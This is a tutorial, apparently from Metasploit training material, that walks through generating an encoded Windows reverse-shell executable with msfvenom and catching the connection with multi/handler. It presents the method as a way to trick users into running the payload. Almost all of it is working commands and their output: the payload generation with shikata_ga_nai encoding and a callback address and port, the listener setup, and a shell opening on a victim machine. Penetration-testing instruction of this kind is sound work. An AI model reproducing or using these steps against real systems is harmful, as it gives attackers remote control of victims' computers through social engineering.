Binary Payloads

It seems like Metasploit is full of interesting and useful features. One of these is the ability to generate an executable from a Metasploit payload. This can be very useful in situations such as social engineering; if you can get a user to run your payload for you, there is no reason to go through the trouble of exploiting any software.

Let’s look at a quick example of how to do this. We will generate a reverse shell payload, execute it on a remote system, and get our shell. To do this, we will use the command line tool msfvenom. This command can be used for generating payloads to be used in many locations and offers a variety of output options, from perl to C to raw. We are interested in the executable output, which is provided by the -f exe option.

We’ll generate a Windows reverse shell executable that will connect back to us on port 31337.

root@kali:~# msfvenom --payload-options -p windows/shell/reverse_tcp
Options for payload/windows/shell/reverse_tcp:


       Name: Windows Command Shell, Reverse TCP Stager
     Module: payload/windows/shell/reverse_tcp
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 281
       Rank: Normal

Provided by:
    spoonm
    sf
    hdm
    skape

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                      yes       The listen address
LPORT     4444             yes       The listen port

Description:
  Spawn a piped command shell (staged). Connect back to the attacker

root@kali:~# msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=172.16.104.130 LPORT=31337 -b "\x00" -e x86/shikata_ga_nai -f exe -o /tmp/1.exe
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 326 (iteration=0)
x86/shikata_ga_nai chosen with final size 326
Payload size: 326 bytes
Saved as: /tmp/1.exe

root@kali:~# file /tmp/1.exe
/tmp/1.exe: PE32 executable (GUI) Intel 80386, for MS Windows

Now we see we have a Windows executable ready to go. Now, we will use multi/handler, which is a stub that handles exploits launched outside of the framework.

root@kali:~# msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > show options

Module options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

When using the exploit/multi/handler module, we still need to tell it which payload to expect so we configure it to have the same settings as the executable we generated.

msf exploit(handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(handler) > show options

Module options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/shell/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LHOST                      yes       The local address
   LPORT     4444             yes       The local port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > set LHOST 172.16.104.130
LHOST => 172.16.104.130
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) >

Now that we have everything set up and ready to go, we run exploit for the multi/handler and execute our generated executable on the victim. The multi/handler handles the exploit for us and presents us our shell.

msf exploit(handler) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Sending stage (474 bytes)
[*] Command shell session 2 opened (172.16.104.130:31337 -> 172.16.104.128:1150)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Victim\My Documents>